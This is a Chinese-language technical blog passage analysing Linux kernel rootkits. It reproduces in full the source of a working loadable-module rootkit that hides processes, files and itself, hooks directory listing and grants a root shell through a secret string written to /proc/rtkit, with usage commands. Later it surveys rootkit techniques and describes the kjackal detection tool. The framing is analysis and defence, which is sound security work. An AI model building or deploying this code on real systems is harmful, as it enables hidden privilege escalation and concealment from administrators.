) hpXXXX: hides proc with id XXXX(xxxx填的是指定进程的pid)
) up: unhides last process(取消隐藏最后进程)
) thf: toogles file hiding(文件隐藏的开关)
) mh: module hide(隐藏当前rootkit内核模块)
) ms: module show(显示当前rootkit内核模块,取消隐藏)
1.3 STATUS
) fshide:
) pids_hidden:
) module_hidden: . 向rootkit内核模块下发指令
) 隐藏rootkit模块
echo -n mh >> /proc/rtkit
) 隐藏进程
echo -n hp1233 >> /proc/rtkit
) 获得一个root权限的shell
echo -n mypenislong >> /proc/rtkit . 使用软件提供的包装脚本
) 获得一个root权限的shell
python tools/rtcmd.py mypenislong /bin/bash

0x2: Features

这里针对rt.c进行代码分析,原理性阐述都放在注释中了

#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/fs.h> /*
定义了一个判断大小的宏
*/
#define MIN(a,b) \
({ typeof (a) _a = (a); \
typeof (b) _b = (b); \
_a < _b ? _a : _b; }) #define MAX_PIDS 50 MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>");
MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>"); //STATIC VARIABLES SECTION
//we don't want to have it visible in kallsyms and have access to it all the time
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_rtkit; static int (*proc_readdir_orig)(struct file *, void *, filldir_t);
static int (*fs_readdir_orig)(struct file *, void *, filldir_t); static filldir_t proc_filldir_orig;
static filldir_t fs_filldir_orig; static struct file_operations *proc_fops;
static struct file_operations *fs_fops; static struct list_head *module_previous;
static struct list_head *module_kobj_previous; static char pids_to_hide[MAX_PIDS][];
static int current_pid = ; static char hide_files = ; static char module_hidden = ; static char module_status[]; /*
MODULE HELPERS
使用"断链法"技术进行内核模块的隐藏
原理:
1. linux将所有的内核模块都在内核中用循环双链表串联起来了
2. 通过找到这些链表,并使用linux提供的链表操作宏将指定的"元素(对应内核模块)"从链表中断开
3. 我们再通过lsmod、或者直接读取内核模块链表的时候自然无法枚举到被我们隐藏的模块了,达到隐藏模块的目的
关于内核模块链表的相关知识请参阅
http://www.cnblogs.com/LittleHann/p/3865490.html
*/
void module_hide(void)
{
if (module_hidden)
{
return;
}
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = !module_hidden;
} /*
将断开的链表项目重新插入回去,恢复模块的显示
*/
void module_show(void)
{
int result;
if (!module_hidden) return;
list_add(&THIS_MODULE->list, module_previous);
result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt");
module_hidden = !module_hidden;
} //PAGE RW HELPERS
static void set_addr_rw(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
if (pte->pte &~ _PAGE_RW)
{
pte->pte |= _PAGE_RW;
}
} static void set_addr_ro(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
} //CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
int i;
for (i=; i < current_pid; i++)
{
/*
当检测到指定的需要隐藏的进程时,直接returned返回,即直接跳过这个进程的枚举
*/
if (!strcmp(name, pids_to_hide[i]))
{
return ;
}
}
if (!strcmp(name, "rtkit"))
{
return ;
}
return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
} static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir)
{
proc_filldir_orig = filldir;
return proc_readdir_orig(filp, dirent, proc_filldir_new);
} static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
if (hide_files && (!strncmp(name, "__rt", ) || !strncmp(name, "10-__rt", )))
{
return ;
}
return fs_filldir_orig(buf, name, namelen, offset, ino, d_type);
} static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir)
{
fs_filldir_orig = filldir;
return fs_readdir_orig(filp, dirent, fs_filldir_new);
} static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data)
{
int size; /*
当cat /proc/rtkit 时的输出
*/
sprintf(module_status,
"RTKIT\n\
DESC:\n\
hides files prefixed with __rt or -__rt and gives root\n\
CMNDS:\n\
mypenislong - uid and gid for writing process\n\
hpXXXX - hides proc with id XXXX\n\
up - unhides last process\n\
thf - toogles file hiding\n\
mh - module hide\n\
ms - module show\n\
STATUS\n\
fshide: %d\n\
pids_hidden: %d\n\
module_hidden: %d\n", hide_files, current_pid, module_hidden); size = strlen(module_status); if (off >= size) return ; if (count >= size-off) {
memcpy(buffer, module_status+off, size-off);
} else {
memcpy(buffer, module_status+off, count);
} return size-off;
} static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
{
if (!strncmp(buff, "mypen", MIN(, count)))
{
/*
创建一个用户新进程task_struct的creads
*/
struct cred *credentials = prepare_creds();
/*
changes to root
*/
credentials->uid = credentials->euid = ;
credentials->gid = credentials->egid = ;
/*
获得新设置cread的进程shell
*/
commit_creds(credentials);
}
else if (!strncmp(buff, "hp", MIN(, count)))
{
//upXXXXXX hides process with given id
if (current_pid < MAX_PIDS)
{
strncpy(pids_to_hide[current_pid++], buff+, MIN(, count-));
}
}
else if (!strncmp(buff, "up", MIN(, count)))
{
//unhides last hidden process
if (current_pid > )
{
current_pid--;
}
}
else if (!strncmp(buff, "thf", MIN(, count)))
{
//toggles hide files in fs
hide_files = !hide_files;
}
else if (!strncmp(buff, "mh", MIN(, count)))
{
//module hide
module_hide();
}
else if (!strncmp(buff, "ms", MIN(, count)))
{
//module hide
module_show();
}
return count;
} //INITIALIZING/CLEANING HELPER METHODS SECTION
static void procfs_clean(void)
{
if (proc_rtkit != NULL) {
remove_proc_entry("rtkit", NULL);
proc_rtkit = NULL;
}
if (proc_fops != NULL && proc_readdir_orig != NULL) {
set_addr_rw(proc_fops);
proc_fops->readdir = proc_readdir_orig;
set_addr_ro(proc_fops);
}
} static void fs_clean(void)
{
if (fs_fops != NULL && fs_readdir_orig != NULL) {
set_addr_rw(fs_fops);
fs_fops->readdir = fs_readdir_orig;
set_addr_ro(fs_fops);
}
} /*
初始化rootkit在/proc中的目录项
*/
static int __init procfs_init(void)
{
//new entry in proc root with 666 rights
/*
新建一个666权限的/proc目录
*/
proc_rtkit = create_proc_entry("rtkit", , NULL);
if (proc_rtkit == NULL)
{
return ;
}
//设置父目录
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != )
{
return ;
}
/*
注册/proc/rtkit的读取句柄,即cat /proc/rtkit时相应的响应
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data)
*/
proc_rtkit->read_proc = rtkit_read; /*
注册/proc/rtkit的写入句柄,即echo -n xxx >> /proc/rtkit时相应的处理流程
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
*/
proc_rtkit->write_proc = rtkit_write; //substitute proc readdir to our wersion (using page mode change)
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_readdir_orig = proc_fops->readdir;
//设置内存页可读可写
set_addr_rw(proc_fops);
proc_fops->readdir = proc_readdir_new;
set_addr_ro(proc_fops); return ;
} /*
初始化文件系统的内存读写权限
*/
static int __init fs_init(void)
{
/*
struct file
{
union
{
struct list_head fu_list;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
#define f_dentry f_path.dentry
#define f_vfsmnt f_path.mnt
const struct file_operations *f_op;
atomic_t f_count;
unsigned int f_flags;
mode_t f_mode;
loff_t f_pos;
struct fown_struct f_owner;
unsigned int f_uid, f_gid;
struct file_ra_state f_ra;
unsigned long f_version;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
void *private_data;
#ifdef CONFIG_EPOLL
struct list_head f_ep_links;
spinlock_t f_ep_lock;
#endif
struct address_space *f_mapping;
};
文件结构体代表一个打开的文件,系统中的每个打开的文件在内核空间都有一个关联的struct file
它由内核在打开文件时创建,并传递给在文件上进行操作的任何函数。在文件的所有实例都关闭后,内核释放这个数据结构(内核变量)
*/
struct file *etc_filp; //get file_operations of /etc
etc_filp = filp_open("/etc", O_RDONLY, );
if (etc_filp == NULL)
{
return ;
}
/*
struct file_operations
{
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
int (*iterate) (struct file *, struct dir_context *);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*aio_fsync) (struct kiocb *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **);
long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len);
int (*show_fdinfo)(struct seq_file *m, struct file *f);
};
*/
fs_fops = (struct file_operations *) etc_filp->f_op;
filp_close(etc_filp, NULL); //substitute readdir of fs on which /etc is
fs_readdir_orig = fs_fops->readdir;
//设置内存页可读可写
set_addr_rw(fs_fops);
fs_fops->readdir = fs_readdir_new;
set_addr_ro(fs_fops); return ;
} //MODULE INIT/EXIT
static int __init rootkit_init(void)
{
/*
初始化rootkit在/proc中的目录项
初始化文件系统的内存读写权限
*/
if (!procfs_init() || !fs_init())
{
procfs_clean();
fs_clean();
return ;
}
module_hide(); return ;
} static void __exit rootkit_exit(void)
{
procfs_clean();
fs_clean();
} module_init(rootkit_init);
module_exit(rootkit_exit);

总结一下,Sample Rootkit for Linux所使用到的技术关键点如下

1. 通过内核API获得rootkit权限shell

struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = ;
credentials->gid = credentials->egid = ;
commit_creds(credentials);

2. 基于/proc的目录读取函数劫持的进程隐藏

proc_rtkit = create_proc_entry("rtkit", , NULL);
proc_root = proc_rtkit->parent;
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_fops->readdir = proc_readdir_new;

通过获取/proc的读取回调句柄(即/proc对读取的回应),然后根据指定的pid进行选择性枚举跳过(return)

static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir)
{
proc_filldir_orig = filldir;
return proc_readdir_orig(filp, dirent, proc_filldir_new);
} //CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
int i;
for (i=; i < current_pid; i++)
{
/*
当检测到指定的需要隐藏的进程时,直接returned返回,即直接跳过这个进程的枚举
*/
if (!strcmp(name, pids_to_hide[i]))
{
return ;
}
}
if (!strcmp(name, "rtkit"))
{
return ;
}
return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
}

3. 基于对/etc目录文件读取枚举接口函数劫持的的文件隐藏

struct file *etc_filp;
etc_filp = filp_open("/etc", O_RDONLY, );
fs_fops = (struct file_operations *) etc_filp->f_op;
fs_readdir_orig = fs_fops->readdir;
fs_fops->readdir = fs_readdir_new;

和进程的隐藏原理一样,都是通过对目录(/proc从某种程度上来说也是一种目录)的读取句柄进行劫持,然后进行选择性跳过(return)来达到屏蔽的目的

static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir)
{
fs_filldir_orig = filldir;
return fs_readdir_orig(filp, dirent, fs_filldir_new);
} static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
if (hide_files && (!strncmp(name, "__rt", ) || !strncmp(name, "10-__rt", )))
{
/*
当检测到指定的满足隐藏条件的文件名特征时,直接returned返回,即直接跳过这个文件的枚举
*/
return ;
}
return fs_filldir_orig(buf, name, namelen, offset, ino, d_type);
}

4. 基于断链法的内核模块隐藏技术

/*
MODULE HELPERS
使用"断链法"技术进行内核模块的隐藏
原理:
1. linux将所有的内核模块都在内核中用循环双链表串联起来了
2. 通过找到这些链表,并使用linux提供的链表操作宏将指定的"元素(对应内核模块)"从链表中断开
3. 我们再通过lsmod、或者直接读取内核模块链表的时候自然无法枚举到被我们隐藏的模块了,达到隐藏模块的目的
关于内核模块链表的相关知识请参阅
http://www.cnblogs.com/LittleHann/p/3865490.html
*/
void module_hide(void)
{
if (module_hidden)
{
return;
}
/*
从struct module结构体可以看出,在内核态,我们如果要枚举当前模块列表,可以使用list、kobj这两个成员域进行枚举
自然在断链隐藏的时候也需要对这两个成员进行操作
*/
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list); module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = !module_hidden;
}

5. 通过创建/proc下虚拟目录的读写接口函数接收ring3层的指令、指令灵活配置

proc_rtkit = create_proc_entry("rtkit", , NULL);
proc_rtkit->read_proc = rtkit_read;
/*
注册/proc/rtkit的写入句柄,即echo -n xxx >> /proc/rtkit时相应的处理流程
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
*/
proc_rtkit->write_proc = rtkit_write;
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
{
if (!strncmp(buff, "mypenislong", MIN(, count)))
{
}
else if (!strncmp(buff, "hp", MIN(, count)))
{
}
else if (!strncmp(buff, "up", MIN(, count)))
{
}
else if (!strncmp(buff, "thf", MIN(, count)))
{
}
else if (!strncmp(buff, "mh", MIN(, count)))
{
}
else if (!strncmp(buff, "ms", MIN(, count)))
{
}
return count;
}

通过这种方式,可以很方便地通过一个相对较隐蔽的方式从ring3向ring0发出指令
0x3: Defense Strategy

Relevant Link:

https://github.com/ivyl/rootkit
http://www.cnblogs.com/LittleHann/p/3865490.html

7. suterusu

这个rootkit的功能把别的rootkit大同小异,有一个亮点的地方是,它使用register_module_notifier注册了模块加载的回调函数,这使得suterusu可以在系统调用这个层面对其他的lkm的加载和放行进行控制

Relevant Link:

https://github.com/mncoppola/suterusu

8. Rootkit Defense Tools

攻和防是一件针锋相对的事情,从某种程序上来,防守方一定是滞后于攻击方(时间长短的问题),检测、防御rootkit的工具本质上就是在识别、确定rootkit的攻击技术的基础上,进行反向的思考以及防御

总目前来看,rootkit在进行攻击的时候会使用到的技术有:

. 灵活的指令配置
) 通过创建/proc下虚拟目录的读写接口函数接收ring3层的指令、指令灵活配置
) 通过netlink技术实现ring3和ring0的通信,向rootkit下发指令 . 内核模块隐藏(包括隐藏rootkit自身分模块)
) 基于断链法的内核模块隐藏技术 . 文件、目录隐藏
) 基于对/etc目录文件读取枚举接口函数劫持的的文件隐藏
) 隐藏文件中"特定的内容"
) 替换关键系统指令程序,例如ls、ll
) 基于sys_execv系统调用劫持实现可执行程序执行重定向技术 . 进程隐藏
) 基于/proc的目录读取函数劫持的进程隐藏
) 基于系统调用hook的进程隐藏
) 替换关键系统指令程序,例如ps、top
) 基于getdents64系统调用劫持实现可执行程序执行重定向技术 . 网络连接状态隐藏
) netfilter注册回调实现网络连接状态隐藏
) /proc/net/tcp修改过滤实现网络连接状态隐藏 . 获取root权限的shell
) 通过内核API(prepare_creds()、commit_creds())获得rootkit权限shell
) 无连接方式SHELL激活
2.1) tcp激活
2.2) udp激活
2.3) icmp激活 . 远程控制(shell)
) kernel mode socket connect back(内核态反向回连) . 通信加密
) commit_creds
) 借助HTTP、或DNS协议进行通信 . 键盘记录
) 密码记录(ssh, su, mysql, pop3, passwd etc)

基于这些已知的先验知识,下面我们来看一下git上开源的工具是怎样进行rootkit检测的

9. Linux Rootkit Scanner: kjackal

Kjackal uses multiple methods to find hidden modules. Here is the list:

. Syscall hijack detection.
The primary technique is to iterate over the syscall table and test every address to see if it is in the core kernel text section where it's supposed to be. If yes, we'll check
) 通过遍历当前内核中的系统调用表syscal table,逐一检查例程的入口地址是否在内核空间,如果不在,则说明发生了syscall劫持
) 发现了syscall table的劫持之后,继续进行反向追踪,确定劫持当前系统调用的是哪一个LKM,即找到劫持的凶手 for a module "hosting" this address. . TCP IPv4 seq_ops hijack detection.
This technique is often used to hide ports or any sensitive information. The 'seq_ops.show' is checked here to the core kernel text address space.
rootkit一般采用对/proc/net/tcp的读写句柄进行劫持以实现隐藏网络连接状态的目的,所以我们这里的检测思路反过来去枚举/proc/net/tcp的读写句柄是否在内核态中,如果不在,说明发生了劫持 . /proc filesystem hijack detection.
Check the readdir ops of /proc.
rootkit通常通过劫持/proc的f_op->readdir来实现filesystem劫持的目的 . Search for hidden modules
Search for each *hidden* module which tries to remove itself from existence
通过对modules kset进行枚举实现隐藏内核模块的检测
关于在linux内核中内核模块的数据结构、以及模块链表的枚举
http://www.cnblogs.com/LittleHann/p/3865490.html
search: struct module

Relevant Link:

http://files.cnblogs.com/LittleHann/kjackal.rar
https://github.com/dgoulet/kjackal

Copyright (c) 2014 LittleHann All rights reserved

Linux Rootkit Sample && Rootkit Defenser Analysis的更多相关文章

  1. Linux shellcode sample

    Linux shellcode sample HelloWorld.nasm ;HelloWorld.asm ;Author: Kul Subedi global _start section .te ...

  2. GPU keylogger && GPU Based rootkit(Jellyfish rootkit)

    catalog . OpenCL . Linux DMA(Direct Memory Access) . GPU rootkit PoC by Team Jellyfish . GPU keylogg ...

  3. Linux Troubleshooting 超实用系列 - Disk Analysis

    笔者历史文章: https://github.com/CarlJi/words 关于磁盘的使用,实际生产中以下问题会较为常见: No space left on device - 空间不足 Disk ...

  4. linux ps sample

    ps -ef|grep "myswooleserver.php"| grep -v "grep" | wc -l cpc@cpc-Aspire-:~/Downl ...

  5. Linux Rootkit Learning

    目录 . 学习Rootkit需要了解的基础知识 . 挂钩(HOOKING) . 直接内核对象操作 . LSM框架(Linux Security Module)于LKM安全 . rootkit检测技术及 ...

  6. 小谈android/Linux rootkit(基于LKM)

    最近又学习了一下,感觉还有好多东西不知道,以后积累多一点再从新写一个. 在android上捣鼓了一下linux的内核rootkit,虽然中途遇到了无数坑,至今也没有完全写完,打算先好好啃一段时间lin ...

  7. Rootkit Hacking Technology && Defence Strategy Research

    目录 . The Purpose Of Rootkit . Syscall Hijack . LKM Module Hidden . Network Communication Hidden . Fi ...

  8. Rootkit Hunter Sourcecode Learning

    目录 . Rootkit Hunter Introduce() . Source Code Frame() . do_system_check_initialisation() . do_system ...

  9. rootkit的检测工具使用(chkrootkit和rootkit hunter)

      信息安全        这两天突然发现我们的服务器产生大量DNS解析连线.为了查明问题,就下载网上找工具检查问题所在.用了两个工具,一个chkrootkit,另外一个rootkit huntur. ...

随机推荐

  1. 常用excel技巧

    1.excel 设置行列分色显示  =MOD(ROW(),2)=0 2.多表匹配数据 通过身份证在另外一个表查找这个人的基本信息 第一张表 第二张表: =VLOOKUP(F12,'2014总表'!D: ...

  2. openstack虚拟机迁移的操作记录

    需求说明:计算节点linux-node1.openstack:192.168.1.8  计算节点linux-node2.openstack:192.168.1.17 这两个计算节点在同一个控制节点下( ...

  3. C# Thread.Join()用法的理解 转

    指在一线程里面调用另一线程join方法时,表示将本线程阻塞直至另一线程终止时再执行 比如 1using System; 2 3namespace TestThreadJoin 4{ 5 class P ...

  4. Scrapy

    Scrapy 从Python的Urllib.Urlllib2到scrapy,当然,scrapy的性能且效率是最高的,自己之前也看过一些资料,在此学习总结下. Scrapy介绍 关于scrapy scr ...

  5. CentOS 7设置网络开机自动连接

    用root登陆系统 修改/etc/sysconfig/network-scripts/ifcfg-enpxxxxxx(xxx)文件,其内容原本如下 TYPE=Ethernet BOOTPROTO=dh ...

  6. C/C++关于string.h头文件和string类

    学习C语言时,用字符串的函数例如stpcpy().strcat().strcmp()等,要包含头文件string.h 学习C++后,C++有字符串的标准类string,string类也有很多方法,用s ...

  7. error C2065: “CMainFrame”: 未声明的标识符

    xxxView.cp的开头包含 框架的头文件即可 : #include "MainFrm.h"

  8. 用一个下午从零开始搭建一个基础lbs查询服务

    背景 现在做一个sns如果没有附近的功能,那就是残缺的.网上也有很多现成的lbs服务,封装的很完整了. 我首先用了下百度lbs云,但是有点不适合自己的需要,因此考虑用mongodb建一个简单的lbs服 ...

  9. Bootstrap系列 -- 25. 下拉菜单分割线

    在Bootstrap框架中的下拉菜单还提供了下拉分隔线,假设下拉菜单有两个组,那么组与组之间可以通过添加一个空的<li>,并且给这个<li>添加类名“divider”来实现添加 ...

  10. 深入理解jQuery中$.get、$.post、$.getJSON和$.ajax的用法

    当我们用javascript写ajax程序写得很“开心”的时候,突然有人告诉你有一种东西叫jquery,它会告诉你不直接和HttpRequest是多么的快乐,同时你再也不需要再烦恼纠结的ajax乱码问 ...